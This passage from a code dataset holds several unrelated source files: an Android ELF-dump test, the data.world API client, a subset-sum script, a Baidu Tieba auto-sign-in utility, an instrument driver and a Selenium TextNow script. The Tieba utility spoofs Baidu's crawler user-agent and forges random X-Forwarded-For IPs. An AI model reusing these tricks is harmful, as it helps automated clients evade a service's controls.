None\n\nif sys.version_info >= (3, 0):\n from os import makedirs\nelse:\n def makedirs(path, exist_ok):\n if exist_ok and os.path.exists(path):\n return\n return os.makedirs(path)\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nVNDK_DEF_TOOL = os.path.join(SCRIPT_DIR, '..', 'vndk_definition_tool.py')\n\nexpected_dir = os.path.join(SCRIPT_DIR, 'expected')\ntest_dir_base = None\n\ndef run_elf_dump(path):\n cmd = [sys.executable, VNDK_DEF_TOOL, 'elfdump', path]\n return subprocess.check_output(cmd, universal_newlines=True)\n\n\nclass ELFDumpTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.targets = targets.create_targets()\n\n def setUp(self):\n if test_dir_base:\n self.test_dir_base = test_dir_base\n else:\n self.tmp_dir = TemporaryDirectory()\n self.test_dir_base = self.tmp_dir.name\n\n def tearDown(self):\n if not test_dir_base:\n self.tmp_dir.cleanup()\n\n def _prepare_dir(self, target_name):\n self.expected_dir = os.path.join(expected_dir, target_name)\n self.test_dir = os.path.join(self.test_dir_base, target_name)\n makedirs(self.test_dir, exist_ok=True)\n\n def _assert_equal_to_file(self, expected_file_name, actual):\n actual = actual.splitlines(True)\n expected_file_path = os.path.join(self.expected_dir, expected_file_name)\n with open(expected_file_path, 'r') as f:\n expected = f.readlines()\n self.assertEqual(expected, actual)\n\n def _test_main_out(self, target):\n self._prepare_dir(target.name)\n\n src_file = os.path.join(SCRIPT_DIR, 'input', 'main.c')\n obj_file = os.path.join(self.test_dir, 'main.o')\n target.compile(obj_file, src_file, [])\n\n out_file = os.path.join(self.test_dir, 'main.out')\n target.link(out_file, [obj_file], ['-ldl', '-lc', '-lstdc++'])\n self._assert_equal_to_file('main.out.txt', run_elf_dump(out_file))\n\n def _test_libtest(self, target, ldflags, output_name, expected_file_name):\n self._prepare_dir(target.name)\n\n src_file = os.path.join(SCRIPT_DIR, 'input', 'test.c')\n obj_file = os.path.join(self.test_dir, 'test.o')\n target.compile(obj_file, src_file, [])\n\n out_file = os.path.join(self.test_dir, output_name)\n target.link(out_file, [obj_file], ['-shared', '-lc'] + ldflags)\n self._assert_equal_to_file(expected_file_name, run_elf_dump(out_file))\n\n\ndef create_target_test(target_name):\n def test_main(self):\n self._test_main_out(self.targets[target_name])\n\n def test_libtest(self):\n self._test_libtest(\n self.targets[target_name], [], 'libtest.so', 'libtest.so.txt')\n\n def test_libtest_rpath(self):\n self._test_libtest(\n self.targets[target_name], ['-Wl,-rpath,$ORIGIN/../lib'],\n 'libtest-rpath.so', 'libtest-rpath.so.txt')\n\n def test_libtest_runpath(self):\n self._test_libtest(\n self.targets[target_name],\n ['-Wl,-rpath,$ORIGIN/../lib', '-Wl,--enable-new-dtags'],\n 'libtest-runpath.so', 'libtest-runpath.so.txt')\n\n class_name = 'ELFDumpTest_' + target_name\n globals()[class_name] = type(\n class_name, (ELFDumpTest,),\n dict(test_main=test_main,\n test_libtest=test_libtest,\n test_libtest_rpath=test_libtest_rpath,\n test_libtest_runpath=test_libtest_runpath))\n\n\nfor target in ('arm', 'arm64', 'mips', 'mips64', 'x86', 'x86_64'):\n create_target_test(target)\n\n\ndef main():\n # Parse command line arguments.\n parser = argparse.ArgumentParser()\n parser.add_argument('--test-dir',\n help='directory for temporary files')\n parser.add_argument('--expected-dir', help='directory with expected output')\n args, unittest_args = parser.parse_known_args()\n\n # Convert command line options.\n global expected_dir\n global test_dir_base\n\n if args.expected_dir:\n expected_dir = args.expected_dir\n if args.test_dir:\n test_dir_base = args.test_dir\n makedirs(test_dir_base, exist_ok=True)\n\n # Run unit test.\n unittest.main(argv=[sys.argv[0]] + unittest_args)\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"vndk/tools/definition-tool/tests/test_elfdump.py","file_name":"test_elfdump.py","file_ext":"py","file_size_in_byte":5069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"296936298","text":"# data.world-py\n# Copyright 2017 data.world, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the\n# License.\n#\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied. See the License for the specific language governing\n# permissions and limitations under the License.\n#\n# This product includes software developed at\n# data.world, Inc.(http://data.world/).\n\nfrom __future__ import absolute_import, division\n\nimport glob\nimport json\nimport os\nimport shutil\nimport uuid\nimport zipfile\nfrom os import path\n\nimport requests\n\nfrom datadotworld.client import _swagger\nfrom datadotworld.util import parse_dataset_key, _user_agent\n\n\nclass RestApiClient(object):\n \"\"\"REST API client\n\n Parameters\n ----------\n profile : str, optional\n Name of the configuration profile to use\n \"\"\"\n\n def __init__(self, config):\n self._config = config\n self._protocol = 'https'\n self._download_host = 'download.data.world'\n\n api_host = 'api.data.world'\n self._host = \"{}://{}/v0\".format(self._protocol, api_host)\n swagger_client = _swagger.ApiClient(\n host=self._host,\n header_name='Authorization',\n header_value='Bearer {}'.format(self._config.auth_token))\n swagger_client.user_agent = _user_agent()\n\n self._datasets_api = _swagger.DatasetsApi(swagger_client)\n self._uploads_api = _swagger.UploadsApi(swagger_client)\n\n # Dataset Operations\n\n def get_dataset(self, dataset_key):\n \"\"\"Retrieve an existing dataset definition\n\n This method retrieves metadata about an existing\n\n Parameters\n ----------\n dataset_key : str\n Dataset identifier, in the form of owner/id\n\n Returns\n -------\n dict\n Dataset definition, with all attributes\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n --------\n >>> import datadotworld as dw\n >>> api_client = dw.api_client()\n >>> intro_dataset = api_client.get_dataset(\n ... 'jonloyens/an-intro-to-dataworld-dataset')\n >>> intro_dataset['title']\n 'An Intro to data.world Dataset'\n \"\"\"\n try:\n return self._datasets_api.get_dataset(\n *(parse_dataset_key(dataset_key))).to_dict()\n except _swagger.rest.ApiException as e:\n raise RestApiError(cause=e)\n\n def create_dataset(self, owner_id, **kwargs):\n \"\"\"Create a new dataset\n\n Parameters\n ----------\n owner_id : str\n Username of the owner of the new dataset\n title : str\n Dataset title (will be used to generate dataset id on creation)\n description : str, optional\n Dataset description\n summary : str, optional\n Dataset summary markdown\n tags : list, optional\n Dataset tags\n license : {'Public Domain', 'PDDL', 'CC-0', 'CC-BY', 'ODC-BY',\n 'CC-BY-SA', 'ODC-ODbL', 'CC BY-NC', 'CC BY-NC-SA', 'Other'}\n Dataset license\n visibility : {'OPEN', 'PRIVATE'}\n Dataset visibility\n files : dict, optional\n File names and source URLs\n\n Returns\n -------\n str\n Newly created dataset key\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n --------\n >>> import datadotworld as dw\n >>> api_client = dw.api_client()\n >>> api_client.create_dataset(\n ... 'username', title='Test dataset', visibility='PRIVATE',\n ... license='Public Domain') # doctest: +SKIP\n \"\"\"\n request = self.__build_dataset_obj(\n lambda: _swagger.DatasetCreateRequest(),\n lambda name, url: _swagger.FileCreateRequest(\n name=name, source=_swagger.FileSourceCreateRequest(url=url)),\n kwargs)\n\n try:\n (_, _, headers) = self._datasets_api.create_dataset_with_http_info(\n owner_id, request, _return_http_data_only=False)\n if 'Location' in headers:\n return headers['Location']\n except _swagger.rest.ApiException as e:\n raise RestApiError(cause=e)\n\n def update_dataset(self, dataset_key, **kwargs):\n \"\"\"Update an existing dataset\n\n Parameters\n ----------\n description : str, optional\n Dataset description\n summary : str, optional\n Dataset summary markdown\n tags : list, optional\n Dataset tags\n license : {'Public Domain', 'PDDL', 'CC-0', 'CC-BY', 'ODC-BY',\n 'CC-BY-SA', 'ODC-ODbL', 'CC BY-NC', 'CC BY-NC-SA', 'Other'}\n Dataset license\n visibility : {'OPEN', 'PRIVATE'}, optional\n Dataset visibility\n files : dict, optional\n File names and source URLs to add or update\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n --------\n >>> import datadotworld as dw\n >>> api_client = dw.api_client()\n >>> api_client.update_dataset(\n ... 'username/test-dataset',\n ... tags=['demo', 'datadotworld']) # doctest: +SKIP\n \"\"\"\n request = self.__build_dataset_obj(\n lambda: _swagger.DatasetPatchRequest(),\n lambda name, url: _swagger.FileCreateOrUpdateRequest(\n name=name,\n source=_swagger.FileSourceCreateOrUpdateRequest(url=url)),\n kwargs)\n\n owner_id, dataset_id = parse_dataset_key(dataset_key)\n try:\n self._datasets_api.patch_dataset(owner_id, dataset_id, request)\n except _swagger.rest.ApiException as e:\n raise RestApiError(cause=e)\n\n def replace_dataset(self, dataset_key, **kwargs):\n \"\"\"Replace an existing dataset\n\n *This method will completely overwrite an existing dataset.*\n\n Parameters\n ----------\n description : str, optional\n Dataset description\n summary : str, optional\n Dataset summary markdown\n tags : list, optional\n Dataset tags\n license : {'Public Domain', 'PDDL', 'CC-0', 'CC-BY', 'ODC-BY',\n 'CC-BY-SA', 'ODC-ODbL', 'CC BY-NC', 'CC BY-NC-SA', 'Other'}\n Dataset license\n visibility : {'OPEN', 'PRIVATE'}\n Dataset visibility\n files : dict, optional\n File names and source URLs to add or update\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n --------\n >>> import datadotworld as dw\n >>> api_client = dw.api_client()\n >>> api_client.replace_dataset(\n ... 'username/test-dataset',\n ... visibility='PRIVATE', license='Public Domain',\n ... description='A better description') # doctest: +SKIP\n \"\"\"\n request = self.__build_dataset_obj(\n lambda: _swagger.DatasetPutRequest(),\n lambda name, url: _swagger.FileCreateRequest(\n name=name, source=_swagger.FileSourceCreateRequest(url=url)),\n kwargs)\n\n owner_id, dataset_id = parse_dataset_key(dataset_key)\n try:\n self._datasets_api.replace_dataset(owner_id, dataset_id, request)\n except _swagger.rest.ApiException as e:\n raise RestApiError(cause=e)\n\n # File Operations\n\n def add_files_via_url(self, dataset_key, files={}):\n \"\"\"Add or update dataset files linked to source URLs\n\n Parameters\n ----------\n dataset_key : str\n Dataset identifier, in the form of owner/id\n files : dict\n File names and source URLs to add or update\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n --------\n >>> import datadotworld as dw\n >>> url = 'http://www.acme.inc/example.csv'\n >>> api_client = dw.api_client()\n >>> api_client.add_files_via_url(\n ... 'username/test-dataset',\n ... {'example.csv': url}) # doctest: +SKIP\n \"\"\"\n file_requests = [_swagger.FileCreateOrUpdateRequest(\n name=name,\n source=_swagger.FileSourceCreateOrUpdateRequest(url=url))\n for name, url in files.items()]\n\n owner_id, dataset_id = parse_dataset_key(dataset_key)\n try:\n self._datasets_api.add_files_by_source(\n owner_id, dataset_id,\n _swagger.FileBatchUpdateRequest(files=file_requests))\n except _swagger.rest.ApiException as e:\n raise RestApiError(cause=e)\n\n def sync_files(self, dataset_key):\n \"\"\"\n Trigger synchronization process to update all dataset files linked to\n source URLs.\n\n Parameters\n ----------\n dataset_key : str\n Dataset identifier, in the form of owner/id\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n --------\n >>> import datadotworld as dw\n >>> api_client = dw.api_client()\n >>> api_client.sync_files('username/test-dataset') # doctest: +SKIP\n \"\"\"\n try:\n self._datasets_api.sync(*(parse_dataset_key(dataset_key)))\n except _swagger.rest.ApiException as e:\n raise RestApiError(cause=e)\n\n def upload_files(self, dataset_key, files):\n \"\"\"Upload dataset files\n\n Parameters\n ----------\n dataset_key : str\n Dataset identifier, in the form of owner/id\n files : list of str\n The list of names/paths for files stored in the local filesystem\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n --------\n >>> import datadotworld as dw\n >>> api_client = dw.api_client()\n >>> api_client.upload_files(\n ... 'username/test-dataset',\n ... ['/my/local/example.csv']) # doctest: +SKIP\n \"\"\"\n owner_id, dataset_id = parse_dataset_key(dataset_key)\n try:\n self._uploads_api.upload_files(owner_id, dataset_id, files)\n except _swagger.rest.ApiException as e:\n raise RestApiError(cause=e)\n\n def delete_files(self, dataset_key, names):\n \"\"\"Delete dataset file(s)\n\n Parameters\n ----------\n dataset_key : str\n Dataset identifier, in the form of owner/id\n names : list of str\n The list of names for files to be deleted\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n --------\n >>> import datadotworld as dw\n >>> api_client = dw.api_client()\n >>> api_client.delete_files(\n ... 'username/test-dataset', ['example.csv']) # doctest: +SKIP\n \"\"\"\n owner_id, dataset_id = parse_dataset_key(dataset_key)\n try:\n self._datasets_api.delete_files_and_sync_sources(\n owner_id, dataset_id, names)\n except _swagger.rest.ApiException as e:\n raise RestApiError(cause=e)\n\n # Datapackage\n\n def download_datapackage(self, dataset_key, dest_dir):\n \"\"\"\n Download and unzip a dataset's datapackage\n\n Parameters\n ----------\n dataset_key : str\n Dataset identifier, in the form of owner/id\n dest_dir : str or path\n Directory under which datapackage should be saved\n\n Returns\n -------\n path\n Location of the datapackage descriptor (datapackage.json) in the\n local filesystem\n\n Raises\n ------\n RestApiException\n If a server error occurs\n\n Examples\n >>> import datadotworld as dw\n >>> api_client = dw.api_client()\n >>> datapackage_descriptor = api_client.download_datapackage(\n ... 'jonloyens/an-intro-to-dataworld-dataset', '/tmp/test')\n >>> datapackage_descriptor\n '/tmp/test/datapackage.json'\n \"\"\"\n if path.isdir(dest_dir):\n raise ValueError('dest_dir must be a new directory, '\n 'but {} already exists'.format(dest_dir))\n\n owner_id, dataset_id = parse_dataset_key(dataset_key)\n url = \"{0}://{1}/datapackage/{2}/{3}\".format(\n self._protocol, self._download_host, owner_id, dataset_id)\n headers = {\n 'User-Agent': _user_agent(),\n 'Authorization': 'Bearer {0}'.format(self._config.auth_token)\n }\n\n try:\n response = requests.get(url, headers=headers, stream=True)\n response.raise_for_status()\n except requests.RequestException as e:\n raise RestApiError(cause=e)\n\n unzip_dir = path.join(self._config.tmp_dir, str(uuid.uuid4()))\n os.makedirs(unzip_dir)\n\n zip_file = path.join(unzip_dir, 'dataset.zip')\n\n with open(zip_file, 'wb') as f:\n for data in response.iter_content(chunk_size=4096):\n f.write(data)\n\n zip_obj = zipfile.ZipFile(zip_file)\n zip_obj.extractall(path=unzip_dir)\n\n # Find where datapackage.json is within expanded files\n unzipped_descriptor = glob.glob(\n '{}/**/datapackage.json'.format(unzip_dir))\n if not unzipped_descriptor:\n raise RuntimeError(\n 'Zip file did not contain a datapackage manifest.')\n\n unzipped_dir = path.dirname(unzipped_descriptor[0])\n\n shutil.move(unzipped_dir, dest_dir)\n shutil.rmtree(unzip_dir, ignore_errors=True)\n\n return path.join(dest_dir, 'datapackage.json')\n\n @staticmethod\n def __build_dataset_obj(dataset_constructor, file_constructor, args):\n files = ([file_constructor(name, url)\n for name, url in args['files'].items()]\n if 'files' in args else None)\n\n dataset = dataset_constructor()\n if 'title' in args:\n dataset.title = args['title']\n if 'description' in args:\n dataset.description = args['description']\n if 'summary' in args:\n dataset.summary = args['summary']\n if 'tags' in args:\n dataset.tags = args['tags']\n if 'license' in args:\n dataset.license = args.get('license')\n if 'visibility' in args:\n dataset.visibility = args['visibility']\n\n dataset.files = files\n\n return dataset\n\n\nclass RestApiError(Exception):\n \"\"\"\n Exception wrapper for errors raised by requests or by the swagger client\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n self.cause = kwargs.pop('cause', None)\n self.status, self.reason, self.body = None, None, None\n if self.cause is not None:\n if type(self.cause) is _swagger.rest.ApiException:\n self.status = self.cause.status\n self.reason = self.cause.reason\n self.body = self.cause.body\n elif type(self.cause) is requests.RequestException:\n requests_response = self.cause.response\n if requests_response is not None:\n self.status = requests_response.status_code\n self.reason = requests_response.reason\n self.body = requests_response.content\n self.json = requests_response.json # Delegates to requests\n\n self.status = kwargs.pop('status', self.status)\n self.reason = kwargs.pop('reason', self.reason)\n self.body = kwargs.pop('body', self.body)\n super(RestApiError, self).__init__(*args, **kwargs)\n\n def json(self):\n \"\"\"Attempts to parse json in the body of response to failed requests\n\n Data.world often includes a JSON body for errors; however, there are no\n guarantees.\n\n Returns\n -------\n json\n The JSON body if one is included. Otherwise, None.\n \"\"\"\n try:\n return json.loads(self.body)\n except (ValueError, TypeError):\n return None\n\n def __str__(self):\n return str(self.json() or self.cause)\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()\n","sub_path":"datadotworld/client/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":16717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"66238358","text":"\"\"\"\n/********************************************************************************\n* Copyright (c) 2015+ Oscar Riveros. All rights reserved. *\n* oscar.riveros@gmail.com *\n* *\n* Without any restriction, Oscar Riveros reserved rights, patents and *\n* commercialization of this knowledge and which derive directly from this work. *\n********************************************************************************/\n\"\"\"\n\n__author__ = 'Oscar Riveros' # http://twitter.com/maxtuno\n\n\ndef nBits(n, b):\n nn = []\n while n:\n nn += [n % b]\n n //= b\n return nn\n\n\ndef nPhi(uu, n):\n b = len(uu)\n nn = nBits(n, b)\n return [uu[int(n)] for n in nn]\n\n\ndef Phi(U, n):\n Z = bin(n)[2:][::-1]\n return [u for u, b in zip(U[:len(Z)], Z) if b == '1']\n\n\n# nary only for Multi-Sets...\ndef ABS(U, t, f, nary=0):\n u = f(U) - t\n m, l = 0, 2 ** (len(U) - 1)\n while m < len(U) ** 5:\n i, j = m, l\n e = m\n while i < j:\n n = (i + j) // 2\n\n if nary == 0:\n S = Phi(U, n + e)\n if nary == 1:\n S = Phi(nPhi(U, n + e), n + e)\n if nary == 2:\n S = nPhi(U, n + e)\n\n s = f(S)\n d = s - t\n\n if s == u:\n return [u for u in U if u not in S]\n if -d in U and -d not in S:\n S.append(-d)\n return S\n if d in U and d in S:\n S.remove(d)\n return S\n else:\n if d < 0:\n i = n + 1\n elif d > 0:\n j = n\n else:\n return S\n\n e += 1\n m += 1\n l += 1\n\n return []\n\n\nif __name__ == \"__main__\":\n import time\n import random\n\n\n # for test larger integers...\n\n def load_universe(file_name):\n with open(file_name) as file:\n data = list(map(int, file.readlines()))\n return data[1:], data[0]\n\n\n data, _ = load_universe('100.txt')\n\n for k in range(2, len(data)):\n\n universe = list(set(random.sample(data, k=k + 1)))\n zero = sum(list(set(random.sample(universe, k=random.randint(1, len(universe))))))\n\n zero = sum(universe) - zero if sum(universe) - zero < zero else zero # Equivalent! (complement)\n universe = [u for u in universe if u <= zero] # Clean unnecessary values\n universe = sorted(universe)\n\n if zero in universe or zero == 0: # Trivial! t in [..., t, ..] or sum([...]) == t\n continue\n\n start = time.time()\n subset = ABS(universe.copy(), zero, f=sum, nary=0)\n stop = time.time()\n\n if not subset:\n print(zero, universe) # report this please to oscar.riveros@gmail.com\n raise Exception\n\n log = True\n if log:\n print('U = {}'.format(universe))\n print('S = {}'.format(subset))\n print('T = {}'.format(zero))\n print('sum(S) = {}'.format(sum(subset)))\n print('|U|/B(U) = {}'.format(len(universe) / max(universe).bit_length()))\n print('B([T]) = {}'.format(zero.bit_length()))\n print('|U| = {}'.format(len(universe)))\n print('B(U) = {}'.format(max(universe).bit_length()))\n print('time = {}'.format(stop - start))\n print()\n","sub_path":"ABS.py","file_name":"ABS.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"566933839","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n File Name: util.py \n Description : 签到 | 获取 | 核心\n date: 2017/11/19\n-------------------------------------------------\n Change Activity:\n 2017/12/03: \n-------------------------------------------------\n TODO:\n 速度优化\n------------------------------------------------- \n\"\"\"\nimport re\nimport time\nimport random\nimport hashlib\nimport requests\nfrom bs4 import BeautifulSoup as bf\nbaidu_spider_ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) \\\n AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 \\\n Mobile/13B143 Safari/601.1 (compatible; \\\n Baiduspider-render/2.0; \\\n +http://www.baidu.com/search/spider.html)'\n\nnormal_ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE72-1/021.021; \\\n Profile/MIDP-2.1 Configuration/CLDC-1.1 ) \\\n AppleWebKit/525 (KHTML, like Gecko) \\\n Version/3.0 BrowserNG/7.1.16352'\n\n\ndef get_bname(bduss):\n tiebas = []\n result = {}\n s = requests.Session()\n data = s.get('https://tieba.baidu.com/?page=like',\n headers={'User-Agent': baidu_spider_ua},\n cookies={'BDUSS': bduss})\n\n try:\n bname = re.findall('.*uname: \"(.*?)\"',\n data.text)[0]\n except:\n bname = 'null'\n\n result['bname'] = bname\n\n if result['bname'] == 'null' or result['bname'] == '':\n result['status'] = 1\n else:\n result['status'] = 0\n\n return result\n\n\ndef get_tiebas(bduss, bname, size=200):\n s = requests.Session()\n\n result = []\n page_count = 1\n has_more = '1'\n\n while True:\n datas = {\n '_client_id': 'wappc_' + str(int(time.time())) + '_' + '258',\n '_client_type': 2,\n '_client_version': '6.5.8',\n '_phone_imei': '357143042411618',\n 'from': 'baidu_appstore',\n 'is_guest': 1,\n 'model': 'H60-L01',\n 'page_no': page_count,\n 'page_size': size,\n 'timestamp': str(int(time.time())) + '903',\n 'uid': _get_userid(bname),\n }\n\n datas['sign'] = gen_hash(datas)\n\n detail = s.post('http://c.tieba.baidu.com/c/f/forum/like',\n headers={'User-Agent': normal_ua,\n 'Content-Type': 'application/x-www-form-urlencoded'},\n cookies={'bduss': bduss},\n data=datas)\n\n for tieba in detail.json()['forum_list']['non-gconforum']:\n fid = tieba['id']\n name = tieba['name']\n result.append([fid, name])\n\n page_count = page_count + 1\n has_more = detail.json()['has_more']\n\n if has_more == '0':\n break\n\n # print (result)\n return result\n\n\ndef _get_userid(bname):\n res = requests.get(\n 'http://tieba.baidu.com/home/get/panel?ie=utf-8&un={}'.format(bname))\n return res.json()['data']['id']\n\n\ndef get_tbs(bduss):\n s = requests.get('http://tieba.baidu.com/dc/common/tbs',\n headers={'User-Agent': 'fuck phone',\n 'Referer': 'http://tieba.baidu.com/',\n 'X-Forwarded-For': '115.28.1.{}'\n .format(random.randint(1, 255))},\n cookies={'BDUSS': bduss})\n return s.json()['tbs']\n\n\ndef do_sign(tbs, bduss, fid, tiename):\n headers = {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'User-Agent': 'Fucking iPhone/1.0 BadApple/99.1',\n }\n cookies = {\n 'BDUSS': bduss,\n }\n datas = {\n 'BDUSS': bduss,\n '_client_id': '03-00-DA-59-05-00-72-96-06-00-01-00-\\\n 04-00-4C-43-01-00-34-F4-02-00-BC-25-\\\n 09-00-4E-36',\n '_client_type': '4',\n '_client_version': '1.2.1.17',\n '_phone_imei': '540b43b59d21b7a4824e1fd31b08e9a6',\n 'fid': fid,\n 'kw': tiename,\n 'net_type': '3',\n 'tbs': tbs\n }\n\n # error_code 0 => Success\n # error_code 16023 => Success\n # error_code * => Faild\n\n datas['sign'] = gen_hash(datas)\n\n res = requests.post('http://c.tieba.baidu.com/c/c/forum/sign',\n headers=headers, cookies=cookies, data=datas)\n\n return (res.json())\n\n\ndef gen_hash(datas):\n hashstr = ''\n keys = 'tiebaclient!!!'\n datakeys = datas.keys()\n\n for i in datakeys:\n hashstr += str(i) + '=' + str(datas[i])\n\n sign = hashlib.md5(hashstr.encode('utf-8') +\n keys.encode('utf-8')).hexdigest().upper()\n return sign\n\n\n############### Class / Refactor\n\n# pass\n","sub_path":"tieba/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"123861521","text":"from device_server.device import DefaultDevice\nfrom visa_server.proxy import VisaProxy\n\nclass DS345(DefaultDevice):\n visa_servername = None\n visa_address = None\n \n state = None\n\n amplitude = None\n amplitude_range = (-36, 20)\n amplitude_units = 'dB'\n\n frequency = None\n frequency_range = (1e-6, 30e6)\n\n update_parameters = ['state', 'frequency', 'amplitude']\n\n def initialize(self, config):\n super(DS345, self).initialize(config)\n self.connect_to_labrad()\n \n self.visa_server = self.cxn[self.visa_servername]\n visa = VisaProxy(self.visa_server)\n rm = visa.ResourceManager()\n rm.open_resource(self.visa_address)\n self.visa = visa\n self.rm = rm\n\n self.do_update_parameters()\n\n def do_update_parameters(self):\n self.state = self.get_state()\n self.frequency = self.get_frequency()\n self.amplitude = self.get_amplitude()\n\n def get_state(self):\n return True\n \n def set_state(self):\n pass\n \n def set_frequency(self, frequency):\n frequency = sorted([min(self.frequency_range), \n max(self.frequency_range), frequency])[1]\n command = 'FREQ {}'.format(frequency)\n self.rm.write(command)\n\n def get_frequency(self):\n ans = self.rm.query('FREQ?')\n return float(ans)\n\n def set_amplitude(self, amplitude):\n amplitude = sorted([min(self.amplitude_range), \n max(self.amplitude_range), amplitude])[1]\n command = 'AMPL {}{}'.format(amplitude, self.amplitude_units)\n self.rm.write(command)\n\n def get_amplitude(self):\n ans = self.rm.query('AMPL?')\n return float(ans[:-2])\n\n","sub_path":"rf/devices/ds345/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"168972494","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport Util\nimport logging\n\nclass VIPModule(object):\n\n \"\"\"直接读取源数据库\"\"\"\n\n def __init__(self, dc):\n \"\"\"\n dc: DataConfig对象。使用mysql_mid进行数据的读取\n \"\"\"\n self._db = dc.mysql_ori\n\n def get_dict(self, shop_name, start_time, end_time):\n \"\"\"对指定门店在指定日期范围内进行排序\n :shop_name: 门店名\n :start_time: 统计起始时间\n :end_time: 统计结束时间\n \"\"\"\n\n shop_map = {\"所有门店\":\"1001,1002,1004,1005,1006,1007,1008,1010,1011,1301,1311,5001\",\"王府井店\":\"1001\",\"亚运村店\":\"1002\",\"五棵松店\":\"1004\",\"中关村店\":\"1005\",\"朝阳门店\":\"1006\",\"三里河店\":\"1007\",\"来广营店\":\"1008\",\"回龙观店\":\"1010\",\"草桥店\":\"1011\",\"下沙店\":\"1301\",\"笕桥店\":\"1311\",\"虚拟代销DC\":\"5001\",\"北京门店\":\"1001,1002,1004,1005,1006,1007,1008,1010,1011\",\"杭州门店\":\"1301,1311\"}\n _shop_id_list = shop_map[str(shop_name)].split(\",\")\n #取数据\n _sql = \"SELECT a.m_type, count(distinct(a.order_no)) order_no_cnt, sum(b.sale_sum) sale_sum, sum(b.sale_price*b.sale_sum) money_sum FROM oms_order_new a, oms_order_detail_new b WHERE a.order_no=b.order_no AND a.pay_time BETWEEN %s AND %s AND b.shop_sid in %s AND a.order_status>1 AND a.order_source_sid=2 GROUP BY a.m_type\"\n _orders = self._db.query(_sql, start_time, end_time, _shop_id_list)\n details = dict()\n if _orders:\n details['all'] = {'m_type':'all', 'order_no_cnt':0, 'sale_sum':0, 'money_sum':0}\n for _od in _orders :\n if _od['m_type'] in ['1','2','3']:\n details[_od['m_type']] = _od\n details['all']['order_no_cnt'] += _od['order_no_cnt']\n details['all']['sale_sum'] += _od['sale_sum']\n details['all']['money_sum'] += _od['money_sum']\n return details\n\ndef unittest():\n from DataConfig import DataConfig\n import sys\n reload(sys)\n sys.setdefaultencoding('utf8')\n dc = DataConfig('../config/server_config.ini')\n _rm = RankModule(dc)\n\nif __name__ == '__main__':\n unittest()\n","sub_path":"shopin_alex/sp_member/modules/VIPModule.py","file_name":"VIPModule.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"219839851","text":" #-*-coding:utf-8-*-\n\nfrom selenium import webdriver \nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport hashlib\n\nimport os\nimport time\nimport json\n\nimport importlib,sys\nimportlib.reload(sys)\n\nclass Textnow: \n\n def __init__(self, PHONE_NUMBER, MESSAGE, TN_USER, TN_PASS, TN_COOKIE):\n self.TN_USER = TN_USER\n self.TN_PASS = TN_PASS\n self.TN_COOKIE = TN_COOKIE\n self.PHONE_NUMBER = PHONE_NUMBER\n self.MESSAGE = MESSAGE\n self.url = \"https://www.textnow.com/login\"\n self.msg_url = \"https://www.textnow.com/messaging\"\n\n def getDriver(self):\n #profile = webdriver.FirefoxProfile()\n #proxy = '127.0.0.1:10808'\n #ip, port = proxy.split(\":\")\n #port = int(port)\n ## 不使用代理的协议,注释掉对应的选项即可\n #settings = {\n # 'network.proxy.type': 1,\n # 'network.proxy.http': ip,\n # 'network.proxy.http_port': port,\n # 'network.proxy.ssl': ip, # https的网站,\n # 'network.proxy.ssl_port': port,\n #}\n #\n ## 更新配置文件\n #for key, value in settings.items():\n # profile.set_preference(key, value)\n #profile.update_preferences()\n \n #https://github.com/mozilla/geckodriver/releases\n options = webdriver.FirefoxOptions()\n options.add_argument('-headless') # 无头参数\n #options.add_argument('-private') # 隐身模式\n driver = webdriver.Firefox(options=options)\n #\n #driver = webdriver.Firefox(executable_path='geckodriver', options=options)\n #driver = webdriver.Firefox(firefox_profile=profile, options=options)\n #driver = webdriver.Firefox(proxy = proxy)\n\n #https://sites.google.com/a/chromium.org/chromedriver/home\n #options = webdriver.ChromeOptions()\n #options.add_argument('--headless')# 无头参数\n #options.add_argument('--disable-web-security')# 禁用web安全参数\n #options.add_argument('--incognito')# 无痕参数\n #options.add_argument('--user-agent=\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36\"')# 